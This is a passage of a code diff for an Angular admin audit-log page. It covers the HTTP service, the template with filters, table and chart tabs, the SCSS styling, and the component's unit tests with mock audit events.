private readonly bffBaseUrl = inject(AUTH_BFF_BASE_URL);
query(filters: AdminAuditQuery): Observable<AdminAuditPage> {
const params = this.toHttpParams({ ...filters });
return this.http.get<AdminAuditPage>(`${this.bffBaseUrl}/admin/audit`, { params });
}
/**
* Calls `GET /api/admin/audit/stats` with the same filter shape
* minus pagination. The endpoint Redis-caches results for 5
* minutes per filter-hash (see ADR-0013 §"Reader endpoints"); the
* SPA itself doesn't try to cache.
*/
stats(filters: AdminAuditStatsQuery): Observable<AdminAuditStats> {
const params = this.toHttpParams({ ...filters });
return this.http.get<AdminAuditStats>(`${this.bffBaseUrl}/admin/audit/stats`, { params });
}
private toHttpParams(filters: Record<string, unknown>): HttpParams {
let params = new HttpParams();
for (const [key, value] of Object.entries(filters)) {
// Drop empty strings — Nest's ValidationPipe treats `?foo=`
// as `foo === ''` which trips the IsISO8601 / IsString
// validators and surfaces as a 400. The SPA passes empty
// inputs when the user hasn't filled a filter; this strips
// them out so the BFF only sees populated fields.
if (value === undefined || value === null || value === '') {
continue;
}
params = params.set(key, String(value));
}
return params;
}
}
@@ -0,0 +1,312 @@
<section class="audit">
<header class="audit-header">
<h1 class="title">Audit log</h1>
<p class="intro">
Read-only view of <code>audit.events</code> per
<a
href="https://git.unespace.com/julien/apf_portal/src/branch/main/docs/decisions/0013-audit-trail-separated-postgres-append-only.md"
rel="noopener"
target="_blank"
>ADR-0013</a
>. Every query run on this page emits its own <code>admin.audit.query</code> row — read access
is itself auditable.
</p>
</header>
<form class="filters" (submit)="$event.preventDefault(); search()" aria-labelledby="filters-h">
<h2 id="filters-h" class="filters-heading">Filters</h2>
<div class="filters-grid">
<label class="filter">
<span class="filter-label">Event type</span>
<input
type="text"
name="eventType"
[ngModel]="eventType()"
(ngModelChange)="eventType.set($event)"
placeholder="auth.sign_in"
/>
</label>
<label class="filter">
<span class="filter-label">Actor id hash</span>
<input
type="text"
name="actorIdHash"
[ngModel]="actorIdHash()"
(ngModelChange)="actorIdHash.set($event)"
placeholder="64 hex chars"
/>
</label>
<label class="filter">
<span class="filter-label">Audience</span>
<select name="audience" [ngModel]="audience()" (ngModelChange)="audience.set($event)">
<option value="">Any</option>
<option value="workforce">workforce</option>
<option value="customer">customer</option>
</select>
</label>
<label class="filter">
<span class="filter-label">Outcome</span>
<select name="outcome" [ngModel]="outcome()" (ngModelChange)="outcome.set($event)">
<option value="">Any</option>
<option value="success">success</option>
<option value="failure">failure</option>
<option value="denied">denied</option>
</select>
</label>
<label class="filter">
<span class="filter-label">Subject prefix</span>
<input
type="text"
name="subjectPrefix"
[ngModel]="subjectPrefix()"
(ngModelChange)="subjectPrefix.set($event)"
placeholder="session:"
/>
</label>
<label class="filter">
<span class="filter-label">From</span>
<input
type="datetime-local"
name="createdAtFrom"
[ngModel]="createdAtFrom()"
(ngModelChange)="createdAtFrom.set($event)"
/>
</label>
<label class="filter">
<span class="filter-label">To</span>
<input
type="datetime-local"
name="createdAtTo"
[ngModel]="createdAtTo()"
(ngModelChange)="createdAtTo.set($event)"
/>
</label>
<label class="filter">
<span class="filter-label">Page size</span>
<select name="limit" [ngModel]="limit()" (ngModelChange)="limit.set(+$event)">
@for (size of pageSizes; track size) {
<option [value]="size">{{ size }}</option>
}
</select>
</label>
</div>
<div class="filters-actions">
<button type="submit" class="btn btn--primary" [disabled]="loading()">Apply filters</button>
<button
type="button"
class="btn btn--secondary"
(click)="clearFilters()"
[disabled]="loading()"
>
Reset
</button>
</div>
</form>
<div class="tablist" role="tablist" aria-label="Audit log views">
<button
type="button"
role="tab"
id="tab-table"
class="tab"
[class.tab--active]="tab() === 'table'"
[attr.aria-selected]="tab() === 'table'"
[attr.aria-controls]="'panel-table'"
[attr.tabindex]="tab() === 'table' ? 0 : -1"
(click)="setTab('table')"
(keydown.arrowRight)="setTab('charts')"
>
Table
</button>
<button
type="button"
role="tab"
id="tab-charts"
class="tab"
[class.tab--active]="tab() === 'charts'"
[attr.aria-selected]="tab() === 'charts'"
[attr.aria-controls]="'panel-charts'"
[attr.tabindex]="tab() === 'charts' ? 0 : -1"
(click)="setTab('charts')"
(keydown.arrowLeft)="setTab('table')"
>
Charts
</button>
</div>
<div class="status-bar" role="status" aria-live="polite">
@if (tab() === 'table') { @if (loading()) {
<span class="status-line">Loading…</span>
} @else if (error(); as msg) {
<span class="status-line status-line--error">{{ msg }}</span>
} @else if (page(); as p) {
<span class="status-line">{{ resultRange() }}</span>
} } @else { @if (statsLoading()) {
<span class="status-line">Loading statistics…</span>
} @else if (statsError(); as msg) {
<span class="status-line status-line--error">{{ msg }}</span>
} @else if (stats(); as s) {
<span class="status-line">{{ s.total }} matching event(s) aggregated</span>
} }
</div>
<section
id="panel-charts"
role="tabpanel"
aria-labelledby="tab-charts"
class="tab-panel"
[hidden]="tab() !== 'charts'"
>
@if (stats(); as s) { @if (hasChartData()) {
<p class="charts-note">
Aggregations are computed across the full filtered set (server-side), not just the events on
the current page. Results are cached for 5 minutes per filter combination.
</p>
<div class="charts-grid">
<div class="chart-tile">
<lib-bar-chart
[data]="s.dailyVolume"
xKey="day"
yKey="count"
xLabel="Date (UTC)"
yLabel="Events"
caption="Events per day"
description="Bar chart of audit event volume per calendar day across the full filtered set."
ariaLabel="Events per day — bar chart"
/>
</div>
<div class="chart-tile">
<lib-donut-chart
[data]="s.outcomeBreakdown"
categoryKey="outcome"
valueKey="count"
[centerLabel]="s.total.toString()"
[colorMap]="outcomeColorMap"
caption="Outcome breakdown"
description="Donut chart of audit event outcomes (success in green, denied in orange, failure in red) across the full filtered set."
ariaLabel="Outcome breakdown — donut chart"
/>
</div>
<div class="chart-tile chart-tile--wide">
<lib-stacked-bar-chart
[data]="s.eventTypeByDay"
xKey="day"
yKey="count"
seriesKey="eventType"
xLabel="Date (UTC)"
yLabel="Events"
caption="Events per day, by event type"
description="Stacked bar chart of audit event volume per calendar day, broken down by event_type, across the full filtered set."
ariaLabel="Events per day, by event type — stacked bar chart"
/>
</div>
</div>
} @else {
<p class="empty">No audit events match the current filters.</p>
} } @else if (!statsLoading() && !statsError()) {
<p class="charts-note">Switch to this tab to load statistics.</p>
}
</section>
<section
id="panel-table"
role="tabpanel"
aria-labelledby="tab-table"
class="tab-panel"
[hidden]="tab() !== 'table'"
>
@if (page(); as p) { @if (p.items.length === 0) {
<p class="empty">No audit events match the current filters.</p>
} @else {
<div class="table-wrap">
<table class="audit-table">
<thead>
<tr>
<th scope="col">Timestamp</th>
<th scope="col">Event</th>
<th scope="col">Audience / outcome</th>
<th scope="col">Actor / subject</th>
<th scope="col">Trace</th>
<th scope="col">Payload</th>
</tr>
</thead>
<tbody>
@for (event of p.items; track event.id) {
<tr>
<td class="cell-timestamp">{{ formatTimestamp(event.createdAt) }}</td>
<td class="cell-event">{{ event.eventType }}</td>
<td class="cell-aud">
<span class="aud-badge">{{ event.audience }}</span>
<span
class="outcome-badge"
[class.outcome-badge--success]="event.outcome === 'success'"
[class.outcome-badge--failure]="event.outcome === 'failure'"
[class.outcome-badge--denied]="event.outcome === 'denied'"
>{{ event.outcome }}</span
>
</td>
<td class="cell-actor">
@if (event.actorIdHash; as hash) {
<button
type="button"
class="actor-hash actor-hash--clickable"
(click)="filterByActor(hash)"
[attr.title]="'Filter the table on ' + hash"
>
{{ hash }}
</button>
} @else {
<div class="actor-hash">(anonymous)</div>
} @if (event.subject; as subject) {
<div class="subject">{{ subject }}</div>
}
</td>
<td class="cell-trace">
@if (event.traceId; as traceId) {
<a
class="trace-link"
[href]="jaegerUrl(traceId)"
target="_blank"
rel="noopener noreferrer"
[attr.title]="'Open trace ' + traceId + ' in Jaeger'"
>{{ traceId }}</a
>
} @else { — }
</td>
<td class="cell-payload">
@if (event.payload) {
<details>
<summary>view</summary>
<pre>{{ formatPayload(event.payload) }}</pre>
</details>
} @else {
<span class="dim"></span>
}
</td>
</tr>
}
</tbody>
</table>
</div>
<nav class="pagination" aria-label="Pagination">
<button
type="button"
class="btn btn--secondary"
(click)="previous()"
[disabled]="!hasPreviousPage() || loading()"
>
Previous
</button>
<button
type="button"
class="btn btn--secondary"
(click)="next()"
[disabled]="!hasNextPage() || loading()"
>
Next
</button>
</nav>
} }
</section>
</section>
@@ -0,0 +1,552 @@
.audit {
max-width: 1200px;
margin: 0 auto;
}
.audit-header {
margin-bottom: 1.5rem;
}
.title {
font-size: 1.5rem;
font-weight: 600;
margin: 0 0 0.25rem;
}
.intro {
margin: 0;
font-size: 0.875rem;
color: #6b7280;
code {
padding: 0.0625rem 0.25rem;
border-radius: 0.25rem;
background-color: rgba(0, 0, 0, 0.05);
font-family: ui-monospace, monospace;
font-size: 0.875em;
}
a {
color: var(--color-brand-primary-600, #2563eb);
text-decoration: underline;
}
}
:host-context(.dark) .intro {
color: #9ca3af;
code {
background-color: rgba(255, 255, 255, 0.08);
}
a {
color: var(--color-brand-primary-300, #93c5fd);
}
}
.filters {
padding: 1rem;
margin-bottom: 1rem;
background-color: #ffffff;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
}
:host-context(.dark) .filters {
background-color: #111827;
border-color: #1f2937;
}
.filters-heading {
margin: 0 0 0.75rem;
font-size: 1rem;
font-weight: 600;
}
.filters-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 0.75rem;
}
.filter {
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.filter-label {
font-size: 0.75rem;
font-weight: 500;
color: #6b7280;
}
:host-context(.dark) .filter-label {
color: #9ca3af;
}
.filter input,
.filter select {
height: 2rem;
padding: 0 0.5rem;
border: 1px solid #d1d5db;
border-radius: 0.25rem;
background-color: #ffffff;
color: inherit;
font-size: 0.875rem;
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 1px;
border-color: transparent;
}
}
:host-context(.dark) .filter input,
:host-context(.dark) .filter select {
background-color: #0f172a;
border-color: #374151;
color: #e5e7eb;
}
.filters-actions {
display: flex;
gap: 0.5rem;
margin-top: 0.875rem;
}
.btn {
display: inline-flex;
align-items: center;
height: 2.25rem;
padding: 0 0.875rem;
border: 1px solid transparent;
border-radius: 0.25rem;
font-size: 0.875rem;
font-weight: 500;
cursor: pointer;
&:disabled {
opacity: 0.5;
cursor: not-allowed;
}
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 2px;
}
}
.btn--primary {
background-color: var(--color-brand-primary-600, #2563eb);
color: #ffffff;
&:hover:not(:disabled) {
background-color: var(--color-brand-primary-700, #1d4ed8);
}
}
.btn--secondary {
background-color: transparent;
border-color: #d1d5db;
color: inherit;
&:hover:not(:disabled) {
background-color: rgba(0, 0, 0, 0.04);
}
}
:host-context(.dark) .btn--secondary:hover:not(:disabled) {
background-color: rgba(255, 255, 255, 0.06);
}
.status-bar {
margin-bottom: 0.5rem;
min-height: 1.25rem;
font-size: 0.875rem;
color: #6b7280;
}
.status-line--error {
color: #b91c1c;
font-weight: 500;
}
:host-context(.dark) .status-bar {
color: #9ca3af;
}
:host-context(.dark) .status-line--error {
color: #fca5a5;
}
.empty {
padding: 1.5rem;
text-align: center;
color: #6b7280;
background-color: #ffffff;
border: 1px dashed #d1d5db;
border-radius: 0.5rem;
}
:host-context(.dark) .empty {
background-color: #111827;
border-color: #374151;
color: #9ca3af;
}
// Tabs above the content. WAI-ARIA pattern: `role="tablist"` on the
// container, `role="tab"` on each button, roving `tabindex` (the
// active tab is reachable via Tab, inactive ones via arrow keys
// once focus is in the list). The visual treatment is a thin
// underline on the active tab — minimal furniture, lets the panel
// content carry the eye.
.tablist {
display: flex;
gap: 0.5rem;
border-bottom: 1px solid #e5e7eb;
margin-bottom: 1rem;
}
:host-context(.dark) .tablist {
border-bottom-color: #1f2937;
}
.tab {
appearance: none;
background: transparent;
border: 0;
border-bottom: 2px solid transparent;
padding: 0.5rem 0.75rem;
margin-bottom: -1px;
font-size: 0.875rem;
font-weight: 500;
color: #6b7280;
cursor: pointer;
transition:
color 0.12s ease-out,
border-color 0.12s ease-out;
&:hover {
color: var(--color-brand-primary-600, #1d4ed8);
}
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 2px;
border-radius: 0.125rem;
}
}
:host-context(.dark) .tab {
color: #9ca3af;
&:hover {
color: var(--color-brand-primary-300, #93c5fd);
}
}
.tab--active {
color: var(--color-brand-primary-600, #1d4ed8);
border-bottom-color: var(--color-brand-primary-600, #1d4ed8);
font-weight: 600;
}
:host-context(.dark) .tab--active {
color: var(--color-brand-primary-300, #93c5fd);
border-bottom-color: var(--color-brand-primary-300, #93c5fd);
}
.tab-panel {
// No box-styling — the panel inherits the page's surface.
// `[hidden]` is set imperatively when the tab isn't active.
}
// Charts panel container. Same surface tokens as `.filters` so the
// chart stack reads as one related block.
.charts {
margin: 0 0 1rem;
padding: 1rem;
background-color: #ffffff;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
}
:host-context(.dark) .charts {
background-color: #111827;
border-color: #1f2937;
}
.charts-heading {
margin: 0;
font-size: 0.875rem;
font-weight: 600;
color: #1f2937;
:where(.dark) & {
color: #f3f4f6;
}
}
.charts-note {
margin: 0.25rem 0 1rem;
font-size: 0.75rem;
color: #6b7280;
:where(.dark) & {
color: #9ca3af;
}
}
.charts-grid {
display: grid;
gap: 1rem;
grid-template-columns: repeat(2, minmax(0, 1fr));
@media (max-width: 800px) {
grid-template-columns: 1fr;
}
}
// Grid items default to `min-width: auto`, which prevents the column
// from shrinking below the intrinsic width of its content. Without
// the override, Plot's fixed-width SVG could push the column wider
// than 1fr, busting the layout and forcing a horizontal scrollbar.
.chart-tile {
min-width: 0;
}
// The stacked-bar chart carries a legend and benefits from the
// full width; flag it via a modifier and span both columns.
.chart-tile--wide {
grid-column: 1 / -1;
}
.table-wrap {
overflow-x: auto;
background-color: #ffffff;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
}
:host-context(.dark) .table-wrap {
background-color: #111827;
border-color: #1f2937;
}
.audit-table {
width: 100%;
border-collapse: collapse;
font-size: 0.875rem;
th,
td {
text-align: left;
padding: 0.5rem 0.75rem;
border-bottom: 1px solid #f3f4f6;
vertical-align: top;
}
th {
font-weight: 600;
background-color: #f9fafb;
position: sticky;
top: 0;
}
}
:host-context(.dark) .audit-table {
th,
td {
border-bottom-color: #1f2937;
}
th {
background-color: #1f2937;
}
}
.cell-timestamp {
white-space: nowrap;
}
.cell-event,
.cell-trace,
.actor-hash,
.subject {
font-family: ui-monospace, monospace;
}
.cell-trace,
.actor-hash,
.subject {
word-break: break-all;
font-size: 0.75rem;
}
.actor-hash {
color: #1f2937;
}
.subject {
color: #6b7280;
margin-top: 0.125rem;
}
:host-context(.dark) .actor-hash {
color: #e5e7eb;
}
:host-context(.dark) .subject {
color: #9ca3af;
}
// The clickable variant of `.actor-hash` (rendered as a <button> so
// keyboard activation works) reuses the inline-hash typography but
// strips the native button chrome and surfaces a subtle hover
// affordance. Filter pivot per the same row's actor.
.actor-hash--clickable {
display: inline;
padding: 0;
margin: 0;
background: transparent;
border: 0;
text-align: left;
cursor: pointer;
text-decoration: underline dotted transparent;
text-underline-offset: 2px;
transition:
color 0.12s ease-out,
text-decoration-color 0.12s ease-out;
&:hover {
color: var(--color-brand-primary-600, #1d4ed8);
text-decoration-color: currentColor;
}
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 2px;
border-radius: 0.125rem;
}
}
:host-context(.dark) .actor-hash--clickable {
&:hover {
color: var(--color-brand-primary-300, #93c5fd);
}
}
// Trace-id deep-link into Jaeger. Same hash typography as the actor
// cell (already inherited via `.cell-trace`), plus a brand-coloured
// underline so investigators read it as "follow this".
.trace-link {
color: var(--color-brand-primary-600, #1d4ed8);
text-decoration: underline;
text-underline-offset: 2px;
&:hover {
text-decoration-thickness: 2px;
}
&:focus-visible {
outline: 2px solid var(--color-brand-primary-500, #2563eb);
outline-offset: 2px;
border-radius: 0.125rem;
}
}
:host-context(.dark) .trace-link {
color: var(--color-brand-primary-300, #93c5fd);
}
.aud-badge,
.outcome-badge {
display: inline-block;
padding: 0.125rem 0.375rem;
border-radius: 0.25rem;
font-size: 0.6875rem;
font-weight: 600;
text-transform: uppercase;
margin-right: 0.25rem;
}
.aud-badge {
background-color: rgba(0, 0, 0, 0.06);
color: #1f2937;
}
.outcome-badge--success {
background-color: rgba(34, 197, 94, 0.18);
color: #166534;
}
.outcome-badge--failure {
background-color: rgba(239, 68, 68, 0.18);
color: #991b1b;
}
.outcome-badge--denied {
background-color: rgba(234, 179, 8, 0.22);
color: #854d0e;
}
:host-context(.dark) {
.aud-badge {
background-color: rgba(255, 255, 255, 0.08);
color: #e5e7eb;
}
.outcome-badge--success {
background-color: rgba(34, 197, 94, 0.22);
color: #86efac;
}
.outcome-badge--failure {
background-color: rgba(239, 68, 68, 0.22);
color: #fecaca;
}
.outcome-badge--denied {
background-color: rgba(234, 179, 8, 0.22);
color: #fde68a;
}
}
.cell-payload {
details {
cursor: pointer;
}
summary {
color: var(--color-brand-primary-600, #2563eb);
font-size: 0.75rem;
}
pre {
margin: 0.25rem 0 0;
padding: 0.5rem;
background-color: rgba(0, 0, 0, 0.04);
border-radius: 0.25rem;
font-size: 0.6875rem;
font-family: ui-monospace, monospace;
word-break: break-all;
}
}
:host-context(.dark) .cell-payload {
summary {
color: var(--color-brand-primary-300, #93c5fd);
}
pre {
background-color: rgba(255, 255, 255, 0.05);
}
}
.dim {
color: #9ca3af;
}
.pagination {
display: flex;
gap: 0.5rem;
justify-content: flex-end;
margin-top: 0.75rem;
}
@@ -0,0 +1,408 @@
import { TestBed } from '@angular/core/testing';
import { of, throwError } from 'rxjs';
import { AuditPage } from './audit';
import {
AuditEventsService,
type AdminAuditPage,
type AdminAuditQuery,
type AdminAuditStats,
type AdminAuditStatsQuery,
} from './audit-events.service';
const STATS: AdminAuditStats = {
dailyVolume: [
{ day: '2026-05-12', count: 5 },
{ day: '2026-05-13', count: 7 },
],
outcomeBreakdown: [
{ outcome: 'success', count: 11 },
{ outcome: 'denied', count: 1 },
],
eventTypeByDay: [
{ day: '2026-05-12', eventType: 'auth.sign_in', count: 5 },
{ day: '2026-05-13', eventType: 'auth.sign_in', count: 6 },
{ day: '2026-05-13', eventType: 'admin.access_denied', count: 1 },
],
total: 12,
};
const PAGE: AdminAuditPage = {
items: [
{
id: '11111111-1111-1111-1111-111111111111',
createdAt: '2026-05-13T10:30:00.000Z',
eventType: 'auth.sign_in',
audience: 'workforce',
actorIdHash: 'hash(jane)',
traceId: 'trace-abc',
subject: 'session:sid-1',
outcome: 'success',
payload: { amr: ['pwd', 'mfa'] },
},
{
id: '22222222-2222-2222-2222-222222222222',
createdAt: '2026-05-13T10:31:00.000Z',
eventType: 'admin.access_denied',
audience: 'workforce',
actorIdHash: 'hash(mallory)',
traceId: null,
subject: 'GET /api/admin/me',
outcome: 'denied',
payload: null,
},
],
total: 247,
limit: 50,
offset: 0,
};
interface Fixture {
fixture: ReturnType<typeof TestBed.createComponent<AuditPage>>;
query: ReturnType<typeof vi.fn>;
stats: ReturnType<typeof vi.fn>;
}
function setup(opts?: {
initial?: AdminAuditPage | 'error';
initialStats?: AdminAuditStats | 'error';
status?: number;
}): Fixture {
const initial = opts?.initial ?? PAGE;
const initialStats = opts?.initialStats ?? STATS;
const query = vi.fn().mockImplementation(() => {
if (initial === 'error') {
return throwError(() => ({ status: opts?.status ?? 500 }));
}
return of(initial);
});
const stats = vi.fn().mockImplementation(() => {
if (initialStats === 'error') {
return throwError(() => ({ status: opts?.status ?? 500 }));
}
return of(initialStats);
});
TestBed.configureTestingModule({
imports: [AuditPage],
providers: [{ provide: AuditEventsService, useValue: { query, stats } }],
});
const fixture = TestBed.createComponent(AuditPage);
return { fixture, query, stats };
}
async function flush(fixture: Fixture['fixture']): Promise<void> {
// Drain microtasks twice — the initial fetch fires from ngOnInit
// and awaits firstValueFrom (one tick) then updates the signal
// (another tick) before the DOM reflects the result.
fixture.detectChanges();
await Promise.resolve();
await Promise.resolve();
fixture.detectChanges();
await fixture.whenStable();
}
describe('AuditPage', () => {
it('runs an initial unfiltered query on init and renders the result table', async () => {
const { fixture, query } = setup();
await flush(fixture);
expect(query).toHaveBeenCalledTimes(1);
expect(query).toHaveBeenCalledWith(expect.objectContaining({ limit: 50, offset: 0 }));
const root = fixture.nativeElement as HTMLElement;
const rows = root.querySelectorAll<HTMLTableRowElement>('.audit-table tbody tr');
expect(rows.length).toBe(2);
});
it('shows the result range ("12 of 247") in the status bar', async () => {
const { fixture } = setup();
await flush(fixture);
expect(
(fixture.nativeElement as HTMLElement).querySelector('.status-line')?.textContent,
).toContain('12 of 247');
});
it('renders the empty state when the page has no items', async () => {
const { fixture } = setup({
initial: { items: [], total: 0, limit: 50, offset: 0 },
});
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
expect(root.querySelector('.empty')?.textContent).toContain('No audit events');
expect(root.querySelector('.audit-table')).toBeNull();
});
it('renders an error message when the service rejects (500)', async () => {
const { fixture } = setup({ initial: 'error', status: 500 });
await flush(fixture);
const status = (fixture.nativeElement as HTMLElement).querySelector('.status-line--error');
expect(status?.textContent).toContain('Could not load the audit log');
});
it('renders a permission-aware error message on 403', async () => {
const { fixture } = setup({ initial: 'error', status: 403 });
await flush(fixture);
const status = (fixture.nativeElement as HTMLElement).querySelector('.status-line--error');
expect(status?.textContent).toContain('do not have access');
});
it('passes the populated filter fields to the service on Apply', async () => {
const { fixture, query } = setup();
await flush(fixture);
const component = fixture.componentInstance;
// Simulate user input by setting the signals directly.
(component as unknown as { eventType: { set: (v: string) => void } }).eventType.set(
'auth.sign_in',
);
(component as unknown as { audience: { set: (v: string) => void } }).audience.set('workforce');
await component.search();
await flush(fixture);
expect(query).toHaveBeenCalledTimes(2);
const lastCall = query.mock.calls[1]?.[0] as AdminAuditQuery;
expect(lastCall.eventType).toBe('auth.sign_in');
expect(lastCall.audience).toBe('workforce');
expect(lastCall.offset).toBe(0);
});
it('resets the offset to 0 on each Apply (no stale page when filters narrow)', async () => {
const { fixture, query } = setup();
await flush(fixture);
const component = fixture.componentInstance;
// Advance to next page.
await component.next();
await flush(fixture);
expect((query.mock.calls[1]?.[0] as AdminAuditQuery).offset).toBe(50);
// Apply a new filter — offset must drop back to 0.
await component.search();
await flush(fixture);
expect((query.mock.calls[2]?.[0] as AdminAuditQuery).offset).toBe(0);
});
it('clearFilters empties every filter signal and re-queries from offset 0', async () => {
const { fixture, query } = setup();
await flush(fixture);
const component = fixture.componentInstance;
(component as unknown as { eventType: { set: (v: string) => void } }).eventType.set('x');
(component as unknown as { outcome: { set: (v: string) => void } }).outcome.set('denied');
await component.clearFilters();
await flush(fixture);
const lastCall = query.mock.calls[1]?.[0] as AdminAuditQuery;
expect(lastCall.eventType).toBeUndefined();
expect(lastCall.outcome).toBeUndefined();
expect(lastCall.offset).toBe(0);
});
it('Next is disabled when the loaded page covers the total', async () => {
const { fixture } = setup({
initial: { items: PAGE.items, total: 2, limit: 50, offset: 0 },
});
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const nextBtn = Array.from(root.querySelectorAll<HTMLButtonElement>('.pagination .btn')).find(
(b) => b.textContent?.trim() === 'Next',
);
expect(nextBtn?.disabled).toBe(true);
});
it('Previous is disabled at offset 0', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const prevBtn = Array.from(root.querySelectorAll<HTMLButtonElement>('.pagination .btn')).find(
(b) => b.textContent?.trim() === 'Previous',
);
expect(prevBtn?.disabled).toBe(true);
});
it('renders the outcome badge variant matching the row', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const rows = root.querySelectorAll<HTMLTableRowElement>('.audit-table tbody tr');
expect(rows[0]?.querySelector('.outcome-badge--success')).not.toBeNull();
expect(rows[1]?.querySelector('.outcome-badge--denied')).not.toBeNull();
});
it('shows the payload disclosure only for rows that have a payload', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const rows = root.querySelectorAll<HTMLTableRowElement>('.audit-table tbody tr');
expect(rows[0]?.querySelector('details')).not.toBeNull();
expect(rows[1]?.querySelector('details')).toBeNull();
});
it('renders trace_id as a Jaeger deep link (anchor with target=_blank)', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const rows = root.querySelectorAll<HTMLTableRowElement>('.audit-table tbody tr');
const link = rows[0]?.querySelector<HTMLAnchorElement>('.trace-link');
expect(link).not.toBeNull();
expect(link?.getAttribute('href')).toContain('/trace/trace-abc');
expect(link?.getAttribute('target')).toBe('_blank');
expect(link?.getAttribute('rel')).toContain('noopener');
});
it('renders the dash placeholder for rows without a trace_id', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const rows = root.querySelectorAll<HTMLTableRowElement>('.audit-table tbody tr');
expect(rows[1]?.querySelector('.trace-link')).toBeNull();
expect(rows[1]?.querySelector('.cell-trace')?.textContent?.trim()).toBe('—');
});
it('clicking an actor hash re-runs the query filtered on that hash + resets offset', async () => {
const { fixture, query } = setup();
await flush(fixture);
query.mockClear();
const root = fixture.nativeElement as HTMLElement;
const rows = root.querySelectorAll<HTMLTableRowElement>('.audit-table tbody tr');
rows[0]?.querySelector<HTMLButtonElement>('.actor-hash--clickable')?.click();
await flush(fixture);
expect(query).toHaveBeenCalledTimes(1);
const filters = query.mock.calls[0]?.[0] as AdminAuditQuery;
expect(filters.actorIdHash).toBe('hash(jane)');
expect(filters.offset).toBe(0);
});
it('renders the anonymous actor as plain text (not a button)', async () => {
const anonymousPage: AdminAuditPage = {
...PAGE,
items: [{ ...PAGE.items[0]!, actorIdHash: null }],
};
const { fixture } = setup({ initial: anonymousPage });
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const row = root.querySelector<HTMLTableRowElement>('.audit-table tbody tr');
expect(row?.querySelector('.actor-hash--clickable')).toBeNull();
expect(row?.querySelector('.actor-hash')?.textContent?.trim()).toBe('(anonymous)');
});
describe('tabs + charts', () => {
it('defaults to the Table tab on first render — does NOT call the stats endpoint', async () => {
const { fixture, stats } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const activeTab = root.querySelector('.tab--active');
expect(activeTab?.textContent?.trim()).toBe('Table');
expect(stats).not.toHaveBeenCalled();
});
it('fetches stats when the user opens the Charts tab for the first time', async () => {
const { fixture, stats } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
const chartsTab = Array.from(root.querySelectorAll<HTMLButtonElement>('.tab')).find(
(b) => b.textContent?.trim() === 'Charts',
);
chartsTab?.click();
await flush(fixture);
expect(stats).toHaveBeenCalledTimes(1);
expect(root.querySelector('lib-bar-chart')).not.toBeNull();
expect(root.querySelector('lib-donut-chart')).not.toBeNull();
expect(root.querySelector('lib-stacked-bar-chart')).not.toBeNull();
});
it('does NOT pass pagination knobs to the stats endpoint', async () => {
const { fixture, stats } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Charts')
?.click();
await flush(fixture);
const filters = stats.mock.calls[0]?.[0] as AdminAuditStatsQuery & {
limit?: number;
offset?: number;
};
expect(filters.limit).toBeUndefined();
expect(filters.offset).toBeUndefined();
});
it('does NOT re-fetch stats on pagination (filters unchanged)', async () => {
const { fixture, stats } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Charts')
?.click();
await flush(fixture);
expect(stats).toHaveBeenCalledTimes(1);
// Switch back to Table and paginate.
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Table')
?.click();
await flush(fixture);
// Open Charts again — cache still valid, no new stats call.
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Charts')
?.click();
await flush(fixture);
expect(stats).toHaveBeenCalledTimes(1);
});
it('re-fetches stats when filters change and the Charts tab is active', async () => {
const { fixture, stats } = setup();
await flush(fixture);
// Open Charts to load the initial stats.
const root = fixture.nativeElement as HTMLElement;
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Charts')
?.click();
await flush(fixture);
expect(stats).toHaveBeenCalledTimes(1);
// Component-state mutation: tweak a filter and re-search.
const cmp = fixture.componentInstance as unknown as {
eventType: { set(v: string): void };
search(): Promise<void>;
};
cmp.eventType.set('auth.sign_in');
await cmp.search();
await flush(fixture);
expect(stats).toHaveBeenCalledTimes(2);
});
it('shows the donut centre label with the server-side total (not the per-page count)', async () => {
const { fixture } = setup();
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Charts')
?.click();
await flush(fixture);
const donutCenter = root.querySelector('lib-donut-chart .donut-center-label');
expect(donutCenter?.textContent?.trim()).toBe(String(STATS.total));
});
it('shows the empty-state message when the stats endpoint returns 0 events', async () => {
const emptyStats: AdminAuditStats = {
dailyVolume: [],
outcomeBreakdown: [],
eventTypeByDay: [],
total: 0,
};
const { fixture } = setup({ initialStats: emptyStats });
await flush(fixture);
const root = fixture.nativeElement as HTMLElement;
Array.from(root.querySelectorAll<HTMLButtonElement>('.tab'))
.find((b) => b.textContent?.trim() === 'Charts')
?.click();
await flush(fixture);
expect(root.querySelector('lib-bar-chart')).toBeNull();
expect(root.querySelector('#panel-charts .empty')).not.toBeNull();
});
